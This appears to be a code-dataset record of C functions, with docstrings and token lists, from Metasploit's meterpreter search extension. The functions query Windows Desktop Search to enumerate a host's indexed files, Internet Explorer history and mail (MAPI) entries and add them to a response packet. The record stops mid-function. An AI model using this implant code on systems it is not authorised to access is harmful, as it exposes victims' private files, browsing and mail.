VOID wds_startup( WDS_INTERFACE * pWDSInterface ) { DWORD dwResult = ERROR_SUCCESS; HRESULT hr = 0; do { if( !pWDSInterface ) BREAK_WITH_ERROR( "[SEARCH] wds_startup: !pWDSInterface", ERROR_INVALID_HANDLE ); memset( pWDSInterface, 0, sizeof(WDS_INTERFACE) ); hr = CoInitialize( NULL ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup: CoInitializeEx Failed", hr ); do { pWDSInterface->hQuery = LoadLibraryA( "query.dll" ); if( !pWDSInterface->hQuery ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: LoadLibraryA query.dll Failed" ); pWDSInterface->pLocateCatalogsA = (LOCATECATALOGSA)GetProcAddress( pWDSInterface->hQuery, "LocateCatalogsA" ); if( !pWDSInterface->pLocateCatalogsA ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress LocateCatalogsA Failed" ); pWDSInterface->pCIMakeICommand = (CIMAKEICOMMAND)GetProcAddress( pWDSInterface->hQuery, "CIMakeICommand" ); if( !pWDSInterface->pCIMakeICommand ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CIMakeICommand Failed" ); pWDSInterface->pCITextToFullTree = (CITEXTTOFULLTREE)GetProcAddress( pWDSInterface->hQuery, "CITextToFullTree" ); if( !pWDSInterface->pCITextToFullTree ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CITextToFullTree Failed" ); pWDSInterface->bWDS2Available = TRUE; } while( 0 ); do { hr = CoCreateInstance( &_CLSID_CSearchManager, NULL, CLSCTX_ALL, &_IID_ISearchManager, (LPVOID *)&pWDSInterface->pSearchManager ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: CoCreateInstance _IID_ISearchManager Failed", hr ); hr = ISearchManager_GetCatalog( pWDSInterface->pSearchManager, L"SystemIndex", &pWDSInterface->pSearchCatalogManager ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchManager_GetCatalog Failed", hr ); hr = ISearchCatalogManager_GetCrawlScopeManager( pWDSInterface->pSearchCatalogManager, &pWDSInterface->pCrawlScopeManager ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchCatalogManager_GetCrawlScopeManager Failed", hr ); pWDSInterface->bWDS3Available = TRUE; } while( 0 ); } while( 0 ); }
/* * Helper function to initilize the Windows Desktop Search v2 and v3 interfaces (if available). */
Helper function to initilize the Windows Desktop Search v2 and v3 interfaces (if available).
[ "Helper", "function", "to", "initilize", "the", "Windows", "Desktop", "Search", "v2", "and", "v3", "interfaces", "(", "if", "available", ")", "." ]
VOID wds_startup( WDS_INTERFACE * pWDSInterface ) { DWORD dwResult = ERROR_SUCCESS; HRESULT hr = 0; do { if( !pWDSInterface ) BREAK_WITH_ERROR( "[SEARCH] wds_startup: !pWDSInterface", ERROR_INVALID_HANDLE ); memset( pWDSInterface, 0, sizeof(WDS_INTERFACE) ); hr = CoInitialize( NULL ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup: CoInitializeEx Failed", hr ); do { pWDSInterface->hQuery = LoadLibraryA( "query.dll" ); if( !pWDSInterface->hQuery ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: LoadLibraryA query.dll Failed" ); pWDSInterface->pLocateCatalogsA = (LOCATECATALOGSA)GetProcAddress( pWDSInterface->hQuery, "LocateCatalogsA" ); if( !pWDSInterface->pLocateCatalogsA ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress LocateCatalogsA Failed" ); pWDSInterface->pCIMakeICommand = (CIMAKEICOMMAND)GetProcAddress( pWDSInterface->hQuery, "CIMakeICommand" ); if( !pWDSInterface->pCIMakeICommand ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CIMakeICommand Failed" ); pWDSInterface->pCITextToFullTree = (CITEXTTOFULLTREE)GetProcAddress( pWDSInterface->hQuery, "CITextToFullTree" ); if( !pWDSInterface->pCITextToFullTree ) BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CITextToFullTree Failed" ); pWDSInterface->bWDS2Available = TRUE; } while( 0 ); do { hr = CoCreateInstance( &_CLSID_CSearchManager, NULL, CLSCTX_ALL, &_IID_ISearchManager, (LPVOID *)&pWDSInterface->pSearchManager ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: CoCreateInstance _IID_ISearchManager Failed", hr ); hr = ISearchManager_GetCatalog( pWDSInterface->pSearchManager, L"SystemIndex", &pWDSInterface->pSearchCatalogManager ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchManager_GetCatalog Failed", hr ); hr = ISearchCatalogManager_GetCrawlScopeManager( pWDSInterface->pSearchCatalogManager, &pWDSInterface->pCrawlScopeManager ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchCatalogManager_GetCrawlScopeManager Failed", hr ); pWDSInterface->bWDS3Available = TRUE; } while( 0 ); } while( 0 ); }
[ "VOID", "wds_startup", "(", "WDS_INTERFACE", "*", "pWDSInterface", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "HRESULT", "hr", "=", "0", ";", "do", "{", "if", "(", "!", "pWDSInterface", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "memset", "(", "pWDSInterface", ",", "0", ",", "sizeof", "(", "WDS_INTERFACE", ")", ")", ";", "hr", "=", "CoInitialize", "(", "NULL", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "do", "{", "pWDSInterface", "->", "hQuery", "=", "LoadLibraryA", "(", "\"", "\"", ")", ";", "if", "(", "!", "pWDSInterface", "->", "hQuery", ")", "BREAK_ON_ERROR", "(", "\"", "\"", ")", ";", "pWDSInterface", "->", "pLocateCatalogsA", "=", "(", "LOCATECATALOGSA", ")", "GetProcAddress", "(", "pWDSInterface", "->", "hQuery", ",", "\"", "\"", ")", ";", "if", "(", "!", "pWDSInterface", "->", "pLocateCatalogsA", ")", "BREAK_ON_ERROR", "(", "\"", "\"", ")", ";", "pWDSInterface", "->", "pCIMakeICommand", "=", "(", "CIMAKEICOMMAND", ")", "GetProcAddress", "(", "pWDSInterface", "->", "hQuery", ",", "\"", "\"", ")", ";", "if", "(", "!", "pWDSInterface", "->", "pCIMakeICommand", ")", "BREAK_ON_ERROR", "(", "\"", "\"", ")", ";", "pWDSInterface", "->", "pCITextToFullTree", "=", "(", "CITEXTTOFULLTREE", ")", "GetProcAddress", "(", "pWDSInterface", "->", "hQuery", ",", "\"", "\"", ")", ";", "if", "(", "!", "pWDSInterface", "->", "pCITextToFullTree", ")", "BREAK_ON_ERROR", "(", "\"", "\"", ")", ";", "pWDSInterface", "->", "bWDS2Available", "=", "TRUE", ";", "}", "while", "(", "0", ")", ";", "do", "{", "hr", "=", "CoCreateInstance", "(", "&", "_CLSID_CSearchManager", ",", "NULL", ",", "CLSCTX_ALL", ",", "&", "_IID_ISearchManager", ",", "(", "LPVOID", "*", ")", "&", "pWDSInterface", "->", "pSearchManager", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "hr", "=", "ISearchManager_GetCatalog", "(", "pWDSInterface", "->", "pSearchManager", ",", "L\"", "\"", ",", "&", "pWDSInterface", "->", "pSearchCatalogManager", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "hr", "=", "ISearchCatalogManager_GetCrawlScopeManager", "(", "pWDSInterface", "->", "pSearchCatalogManager", ",", "&", "pWDSInterface", "->", "pCrawlScopeManager", ")", ";", "if", "(", "FAILED", "(", "hr", ")", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "hr", ")", ";", "pWDSInterface", "->", "bWDS3Available", "=", "TRUE", ";", "}", "while", "(", "0", ")", ";", "}", "while", "(", "0", ")", ";", "}" ]
Helper function to initilize the Windows Desktop Search v2 and v3 interfaces (if available).
[ "Helper", "function", "to", "initilize", "the", "Windows", "Desktop", "Search", "v2", "and", "v3", "interfaces", "(", "if", "available", ")", "." ]
[]
[ { "param": "pWDSInterface", "type": "WDS_INTERFACE" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pWDSInterface", "type": "WDS_INTERFACE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
wds_shutdown
VOID
VOID wds_shutdown( WDS_INTERFACE * pWDSInterface ) { do { if( !pWDSInterface ) break; if( pWDSInterface->hQuery ) FreeLibrary( pWDSInterface->hQuery ); pWDSInterface->pLocateCatalogsA = NULL; pWDSInterface->pCIMakeICommand = NULL; pWDSInterface->pCITextToFullTree = NULL; pWDSInterface->bWDS2Available = FALSE; if( pWDSInterface->pCrawlScopeManager ) { ISearchCrawlScopeManager_Release( pWDSInterface->pCrawlScopeManager ); pWDSInterface->pCrawlScopeManager = NULL; } if( pWDSInterface->pSearchCatalogManager ) { ISearchCatalogManager_Release( pWDSInterface->pSearchCatalogManager ); pWDSInterface->pSearchCatalogManager = NULL; } if( pWDSInterface->pSearchManager ) { ISearchManager_Release( pWDSInterface->pSearchManager ); pWDSInterface->pSearchManager = NULL; } pWDSInterface->bWDS3Available = FALSE; CoUninitialize(); } while( 0 ); }
/* * Helper function to cleanup the Windows Desktop Search v2 and v3 interfaces. */
Helper function to cleanup the Windows Desktop Search v2 and v3 interfaces.
[ "Helper", "function", "to", "cleanup", "the", "Windows", "Desktop", "Search", "v2", "and", "v3", "interfaces", "." ]
VOID wds_shutdown( WDS_INTERFACE * pWDSInterface ) { do { if( !pWDSInterface ) break; if( pWDSInterface->hQuery ) FreeLibrary( pWDSInterface->hQuery ); pWDSInterface->pLocateCatalogsA = NULL; pWDSInterface->pCIMakeICommand = NULL; pWDSInterface->pCITextToFullTree = NULL; pWDSInterface->bWDS2Available = FALSE; if( pWDSInterface->pCrawlScopeManager ) { ISearchCrawlScopeManager_Release( pWDSInterface->pCrawlScopeManager ); pWDSInterface->pCrawlScopeManager = NULL; } if( pWDSInterface->pSearchCatalogManager ) { ISearchCatalogManager_Release( pWDSInterface->pSearchCatalogManager ); pWDSInterface->pSearchCatalogManager = NULL; } if( pWDSInterface->pSearchManager ) { ISearchManager_Release( pWDSInterface->pSearchManager ); pWDSInterface->pSearchManager = NULL; } pWDSInterface->bWDS3Available = FALSE; CoUninitialize(); } while( 0 ); }
[ "VOID", "wds_shutdown", "(", "WDS_INTERFACE", "*", "pWDSInterface", ")", "{", "do", "{", "if", "(", "!", "pWDSInterface", ")", "break", ";", "if", "(", "pWDSInterface", "->", "hQuery", ")", "FreeLibrary", "(", "pWDSInterface", "->", "hQuery", ")", ";", "pWDSInterface", "->", "pLocateCatalogsA", "=", "NULL", ";", "pWDSInterface", "->", "pCIMakeICommand", "=", "NULL", ";", "pWDSInterface", "->", "pCITextToFullTree", "=", "NULL", ";", "pWDSInterface", "->", "bWDS2Available", "=", "FALSE", ";", "if", "(", "pWDSInterface", "->", "pCrawlScopeManager", ")", "{", "ISearchCrawlScopeManager_Release", "(", "pWDSInterface", "->", "pCrawlScopeManager", ")", ";", "pWDSInterface", "->", "pCrawlScopeManager", "=", "NULL", ";", "}", "if", "(", "pWDSInterface", "->", "pSearchCatalogManager", ")", "{", "ISearchCatalogManager_Release", "(", "pWDSInterface", "->", "pSearchCatalogManager", ")", ";", "pWDSInterface", "->", "pSearchCatalogManager", "=", "NULL", ";", "}", "if", "(", "pWDSInterface", "->", "pSearchManager", ")", "{", "ISearchManager_Release", "(", "pWDSInterface", "->", "pSearchManager", ")", ";", "pWDSInterface", "->", "pSearchManager", "=", "NULL", ";", "}", "pWDSInterface", "->", "bWDS3Available", "=", "FALSE", ";", "CoUninitialize", "(", ")", ";", "}", "while", "(", "0", ")", ";", "}" ]
Helper function to cleanup the Windows Desktop Search v2 and v3 interfaces.
[ "Helper", "function", "to", "cleanup", "the", "Windows", "Desktop", "Search", "v2", "and", "v3", "interfaces", "." ]
[]
[ { "param": "pWDSInterface", "type": "WDS_INTERFACE" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pWDSInterface", "type": "WDS_INTERFACE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
wds2_indexed
BOOL
BOOL wds2_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory ) { char cMachine[ MAX_COMPUTERNAME_LENGTH + 1 ] = {0}; char cCatalog[ MAX_PATH + 1 ] = {0}; DWORD dwMachineLength = MAX_COMPUTERNAME_LENGTH + 1; DWORD dwCatalogLength = MAX_PATH + 1 ; DWORD dwIndex = 0; do { if( !pWDSInterface->bWDS2Available ) break; while( TRUE ) { if( pWDSInterface->pLocateCatalogsA( cpDirectory, dwIndex++, cMachine, &dwMachineLength, cCatalog, &dwCatalogLength ) != S_OK ) break; if( strcmp( cMachine, "." ) != 0 ) continue; if( _memicmp( "system", cCatalog, 6 ) != 0 ) continue; dprintf( "[SEARCH] wds2_indexed: Directory '%s' is indexed.", cpDirectory ); return TRUE; } } while( 0 ); return FALSE; }
/* * Helper function to check if a given directory is indexed in the WDS v2 system catalog on the local machine. */
Helper function to check if a given directory is indexed in the WDS v2 system catalog on the local machine.
[ "Helper", "function", "to", "check", "if", "a", "given", "directory", "is", "indexed", "in", "the", "WDS", "v2", "system", "catalog", "on", "the", "local", "machine", "." ]
BOOL wds2_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory ) { char cMachine[ MAX_COMPUTERNAME_LENGTH + 1 ] = {0}; char cCatalog[ MAX_PATH + 1 ] = {0}; DWORD dwMachineLength = MAX_COMPUTERNAME_LENGTH + 1; DWORD dwCatalogLength = MAX_PATH + 1 ; DWORD dwIndex = 0; do { if( !pWDSInterface->bWDS2Available ) break; while( TRUE ) { if( pWDSInterface->pLocateCatalogsA( cpDirectory, dwIndex++, cMachine, &dwMachineLength, cCatalog, &dwCatalogLength ) != S_OK ) break; if( strcmp( cMachine, "." ) != 0 ) continue; if( _memicmp( "system", cCatalog, 6 ) != 0 ) continue; dprintf( "[SEARCH] wds2_indexed: Directory '%s' is indexed.", cpDirectory ); return TRUE; } } while( 0 ); return FALSE; }
[ "BOOL", "wds2_indexed", "(", "WDS_INTERFACE", "*", "pWDSInterface", ",", "char", "*", "cpDirectory", ")", "{", "char", "cMachine", "[", "MAX_COMPUTERNAME_LENGTH", "+", "1", "]", "=", "{", "0", "}", ";", "char", "cCatalog", "[", "MAX_PATH", "+", "1", "]", "=", "{", "0", "}", ";", "DWORD", "dwMachineLength", "=", "MAX_COMPUTERNAME_LENGTH", "+", "1", ";", "DWORD", "dwCatalogLength", "=", "MAX_PATH", "+", "1", ";", "DWORD", "dwIndex", "=", "0", ";", "do", "{", "if", "(", "!", "pWDSInterface", "->", "bWDS2Available", ")", "break", ";", "while", "(", "TRUE", ")", "{", "if", "(", "pWDSInterface", "->", "pLocateCatalogsA", "(", "cpDirectory", ",", "dwIndex", "++", ",", "cMachine", ",", "&", "dwMachineLength", ",", "cCatalog", ",", "&", "dwCatalogLength", ")", "!=", "S_OK", ")", "break", ";", "if", "(", "strcmp", "(", "cMachine", ",", "\"", "\"", ")", "!=", "0", ")", "continue", ";", "if", "(", "_memicmp", "(", "\"", "\"", ",", "cCatalog", ",", "6", ")", "!=", "0", ")", "continue", ";", "dprintf", "(", "\"", "\"", ",", "cpDirectory", ")", ";", "return", "TRUE", ";", "}", "}", "while", "(", "0", ")", ";", "return", "FALSE", ";", "}" ]
Helper function to check if a given directory is indexed in the WDS v2 system catalog on the local machine.
[ "Helper", "function", "to", "check", "if", "a", "given", "directory", "is", "indexed", "in", "the", "WDS", "v2", "system", "catalog", "on", "the", "local", "machine", "." ]
[]
[ { "param": "pWDSInterface", "type": "WDS_INTERFACE" }, { "param": "cpDirectory", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pWDSInterface", "type": "WDS_INTERFACE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cpDirectory", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
wds3_indexed
BOOL
BOOL wds3_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory ) { HRESULT hr = 0; size_t dwLength = 0; WCHAR * wpDirectory = NULL; BOOL bResult = FALSE; do { if( !pWDSInterface->bWDS3Available ) break; dwLength = mbstowcs( NULL, cpDirectory, 0 ) + 1; wpDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) ); if( !wpDirectory ) break; memset( wpDirectory, 0, dwLength * sizeof(WCHAR) ); if( mbstowcs( wpDirectory, cpDirectory, dwLength ) == -1 ) break; ISearchCrawlScopeManager_IncludedInCrawlScope( pWDSInterface->pCrawlScopeManager, wpDirectory, &bResult ); } while( 0 ); if( wpDirectory ) free( wpDirectory ); return bResult; }
/* * Helper function to check if a given directory is indexed in the WDS v3 crawl scope */
Helper function to check if a given directory is indexed in the WDS v3 crawl scope
[ "Helper", "function", "to", "check", "if", "a", "given", "directory", "is", "indexed", "in", "the", "WDS", "v3", "crawl", "scope" ]
BOOL wds3_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory ) { HRESULT hr = 0; size_t dwLength = 0; WCHAR * wpDirectory = NULL; BOOL bResult = FALSE; do { if( !pWDSInterface->bWDS3Available ) break; dwLength = mbstowcs( NULL, cpDirectory, 0 ) + 1; wpDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) ); if( !wpDirectory ) break; memset( wpDirectory, 0, dwLength * sizeof(WCHAR) ); if( mbstowcs( wpDirectory, cpDirectory, dwLength ) == -1 ) break; ISearchCrawlScopeManager_IncludedInCrawlScope( pWDSInterface->pCrawlScopeManager, wpDirectory, &bResult ); } while( 0 ); if( wpDirectory ) free( wpDirectory ); return bResult; }
[ "BOOL", "wds3_indexed", "(", "WDS_INTERFACE", "*", "pWDSInterface", ",", "char", "*", "cpDirectory", ")", "{", "HRESULT", "hr", "=", "0", ";", "size_t", "dwLength", "=", "0", ";", "WCHAR", "*", "wpDirectory", "=", "NULL", ";", "BOOL", "bResult", "=", "FALSE", ";", "do", "{", "if", "(", "!", "pWDSInterface", "->", "bWDS3Available", ")", "break", ";", "dwLength", "=", "mbstowcs", "(", "NULL", ",", "cpDirectory", ",", "0", ")", "+", "1", ";", "wpDirectory", "=", "(", "WCHAR", "*", ")", "malloc", "(", "dwLength", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "!", "wpDirectory", ")", "break", ";", "memset", "(", "wpDirectory", ",", "0", ",", "dwLength", "*", "sizeof", "(", "WCHAR", ")", ")", ";", "if", "(", "mbstowcs", "(", "wpDirectory", ",", "cpDirectory", ",", "dwLength", ")", "==", "-1", ")", "break", ";", "ISearchCrawlScopeManager_IncludedInCrawlScope", "(", "pWDSInterface", "->", "pCrawlScopeManager", ",", "wpDirectory", ",", "&", "bResult", ")", ";", "}", "while", "(", "0", ")", ";", "if", "(", "wpDirectory", ")", "free", "(", "wpDirectory", ")", ";", "return", "bResult", ";", "}" ]
Helper function to check if a given directory is indexed in the WDS v3 crawl scope
[ "Helper", "function", "to", "check", "if", "a", "given", "directory", "is", "indexed", "in", "the", "WDS", "v3", "crawl", "scope" ]
[]
[ { "param": "pWDSInterface", "type": "WDS_INTERFACE" }, { "param": "cpDirectory", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pWDSInterface", "type": "WDS_INTERFACE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cpDirectory", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
wds_execute
HRESULT
HRESULT wds_execute( ICommand * pCommand, Packet * pResponse ) { IRowset * pRowset = NULL; IAccessor * pAccessor = NULL; size_t dwLength = 0; HACCESSOR hAccessor = 0; DBCOUNTITEM dbCount = 0; DWORD dwResult = 0; HRESULT hr = 0; DBBINDING dbBindings[2] = {0}; SEARCH_ROW rowSearchResults = {0}; HROW hRow[1] = {0}; HROW * pRows = &hRow[0]; do { hr = ICommand_Execute( pCommand, NULL, &_IID_IRowset, NULL, NULL, (IUnknown**)&pRowset ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: ICommand_Execute Failed", hr ); hr = IRowset_QueryInterface( pRowset, &_IID_IAccessor, (LPVOID *)&pAccessor ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_QueryInterface _IID_IAccessor Failed", hr ); memset( &dbBindings, 0, sizeof(DBBINDING)*2 ); dbBindings[0].iOrdinal = 1; dbBindings[0].dwPart = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE; dbBindings[0].dwMemOwner = DBMEMOWNER_CLIENTOWNED; dbBindings[0].cbMaxLen = sizeof(DWORD); dbBindings[0].dwFlags = 0; dbBindings[0].eParamIO = DBPARAMIO_NOTPARAM; dbBindings[0].wType = DBTYPE_I4; dbBindings[0].obStatus = offsetof( SEARCH_ROW, dbSizeStatus ); dbBindings[0].obLength = offsetof( SEARCH_ROW, dwSizeLength ); dbBindings[0].obValue = offsetof( SEARCH_ROW, dwSizeValue ); dbBindings[1].iOrdinal = 2; dbBindings[1].dwPart = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE; dbBindings[1].dwMemOwner = DBMEMOWNER_CLIENTOWNED; dbBindings[1].cbMaxLen = MAX_PATH; dbBindings[1].dwFlags = 0; dbBindings[1].eParamIO = DBPARAMIO_NOTPARAM; dbBindings[1].wType = DBTYPE_STR; dbBindings[1].obStatus = offsetof( SEARCH_ROW, dbPathStatus ); dbBindings[1].obLength = offsetof( SEARCH_ROW, dwPathLength ); dbBindings[1].obValue = offsetof( SEARCH_ROW, cPathValue ); hr = IAccessor_CreateAccessor( pAccessor, DBACCESSOR_ROWDATA, 2, (DBBINDING *)&dbBindings, 0, &hAccessor, NULL ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IAccessor_CreateAccessor Failed", hr ); while( TRUE ) { memset( &rowSearchResults, 0, sizeof(SEARCH_ROW) ); hr = IRowset_GetNextRows( pRowset, DB_NULL_HCHAPTER, 0, 1, &dbCount, (HROW **)&pRows ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetNextRows Failed", hr ); if( !dbCount ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: No more rows to get.", ERROR_SUCCESS ); hr = IRowset_GetData( pRowset, hRow[0], hAccessor, &rowSearchResults ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetData Failed", hr ); if( _memicmp( "iehistory:", rowSearchResults.cPathValue, 10 ) == 0 ) { // "iehistory://{*}/" char * cpHistory = strstr( rowSearchResults.cPathValue, "}" ); if( cpHistory ) search_add_result( pResponse, "", cpHistory+2, 0 ); } else if( _memicmp( "mapi:", rowSearchResults.cPathValue, 5 ) == 0 ) { // "mapi://{*}/" char * cpHistory = strstr( rowSearchResults.cPathValue, "}" ); if( cpHistory ) search_add_result( pResponse, "", cpHistory+2, 0 ); } else if( rowSearchResults.dwSizeValue > 0 ) { size_t i = 0; char * cpFileName = ""; char * cpFile = ""; char * cpDirectory = (char *)&rowSearchResults.cPathValue; if( _memicmp( "file:", cpDirectory, strlen("file:") ) == 0 ) cpDirectory = (char *)( cpDirectory + strlen("file:") ); for( i=0 ; i<strlen(cpDirectory) ; i++ ) { if( cpDirectory[i] == '/' ) cpDirectory[i] = '\\'; } cpFile = strrchr( cpDirectory, '\\' ); if( cpFile ) { *cpFile = '\x00'; cpFileName = cpFile + 1; } else { cpDirectory = ""; cpFileName = cpDirectory; } search_add_result( pResponse, cpDirectory, cpFileName, rowSearchResults.dwSizeValue ); dprintf( "[SEARCH] wds_execute. Found: %s\\%s", cpDirectory, cpFileName ); } hr = IRowset_ReleaseRows( pRowset, dbCount, pRows, NULL, NULL, NULL ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_ReleaseRows Failed", hr ); } } while( 0 ); if( pAccessor ) { IAccessor_ReleaseAccessor( pAccessor, hAccessor, NULL ); IAccessor_Release( pAccessor ); } if( pRowset ) IRowset_Release( pRowset ); return dwResult; }
/* * Helper function to execute a WDS v2 or v3 search via COM and process * any results (assumes rows have columns of 'size,path'). */
Helper function to execute a WDS v2 or v3 search via COM and process any results (assumes rows have columns of 'size,path').
[ "Helper", "function", "to", "execute", "a", "WDS", "v2", "or", "v3", "search", "via", "COM", "and", "process", "any", "results", "(", "assumes", "rows", "have", "columns", "of", "'", "size", "path", "'", ")", "." ]
HRESULT wds_execute( ICommand * pCommand, Packet * pResponse ) { IRowset * pRowset = NULL; IAccessor * pAccessor = NULL; size_t dwLength = 0; HACCESSOR hAccessor = 0; DBCOUNTITEM dbCount = 0; DWORD dwResult = 0; HRESULT hr = 0; DBBINDING dbBindings[2] = {0}; SEARCH_ROW rowSearchResults = {0}; HROW hRow[1] = {0}; HROW * pRows = &hRow[0]; do { hr = ICommand_Execute( pCommand, NULL, &_IID_IRowset, NULL, NULL, (IUnknown**)&pRowset ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: ICommand_Execute Failed", hr ); hr = IRowset_QueryInterface( pRowset, &_IID_IAccessor, (LPVOID *)&pAccessor ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_QueryInterface _IID_IAccessor Failed", hr ); memset( &dbBindings, 0, sizeof(DBBINDING)*2 ); dbBindings[0].iOrdinal = 1; dbBindings[0].dwPart = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE; dbBindings[0].dwMemOwner = DBMEMOWNER_CLIENTOWNED; dbBindings[0].cbMaxLen = sizeof(DWORD); dbBindings[0].dwFlags = 0; dbBindings[0].eParamIO = DBPARAMIO_NOTPARAM; dbBindings[0].wType = DBTYPE_I4; dbBindings[0].obStatus = offsetof( SEARCH_ROW, dbSizeStatus ); dbBindings[0].obLength = offsetof( SEARCH_ROW, dwSizeLength ); dbBindings[0].obValue = offsetof( SEARCH_ROW, dwSizeValue ); dbBindings[1].iOrdinal = 2; dbBindings[1].dwPart = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE; dbBindings[1].dwMemOwner = DBMEMOWNER_CLIENTOWNED; dbBindings[1].cbMaxLen = MAX_PATH; dbBindings[1].dwFlags = 0; dbBindings[1].eParamIO = DBPARAMIO_NOTPARAM; dbBindings[1].wType = DBTYPE_STR; dbBindings[1].obStatus = offsetof( SEARCH_ROW, dbPathStatus ); dbBindings[1].obLength = offsetof( SEARCH_ROW, dwPathLength ); dbBindings[1].obValue = offsetof( SEARCH_ROW, cPathValue ); hr = IAccessor_CreateAccessor( pAccessor, DBACCESSOR_ROWDATA, 2, (DBBINDING *)&dbBindings, 0, &hAccessor, NULL ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IAccessor_CreateAccessor Failed", hr ); while( TRUE ) { memset( &rowSearchResults, 0, sizeof(SEARCH_ROW) ); hr = IRowset_GetNextRows( pRowset, DB_NULL_HCHAPTER, 0, 1, &dbCount, (HROW **)&pRows ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetNextRows Failed", hr ); if( !dbCount ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: No more rows to get.", ERROR_SUCCESS ); hr = IRowset_GetData( pRowset, hRow[0], hAccessor, &rowSearchResults ); if( FAILED( hr ) ) BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetData Failed", hr ); if( _memicmp( "iehistory:", rowSearchResults.cPathValue, 10 ) == 0 ) { char * cpHistory = strstr( rowSearchResults.cPathValue, "}" ); if( cpHistory ) search_add_result( pResponse, "", cpHistory+2, 0 ); } else if( _memicmp( "mapi:", rowSearchResults.cPathValue, 5 ) == 0 ) { char * cpHistory = strstr( rowSearchResults.cPathValue, "}" ); if( cpHistory ) search_add_result( pResponse, "", cpHistory+2, 0 ); } else if( rowSearchResults.dwSizeValue > 0 ) { size_t i = 0; char * cpFileName = ""; char * cpFile = ""; char * cpDirectory = (char *)&rowSearchResults.cPathValue; if( _memicmp( "file:", cpDirectory, strlen("file:") ) == 0 ) cpDirectory = (char *)( cpDirectory + strlen("file:") ); for( i=0 ; i<strlen(cpDirectory) ; i++ ) { if( cpDirectory[i] == '/' ) cpDirectory[i] = '\\'; } cpFile = strrchr( cpDirectory, '\\' ); if( cpFile ) { *cpFile = 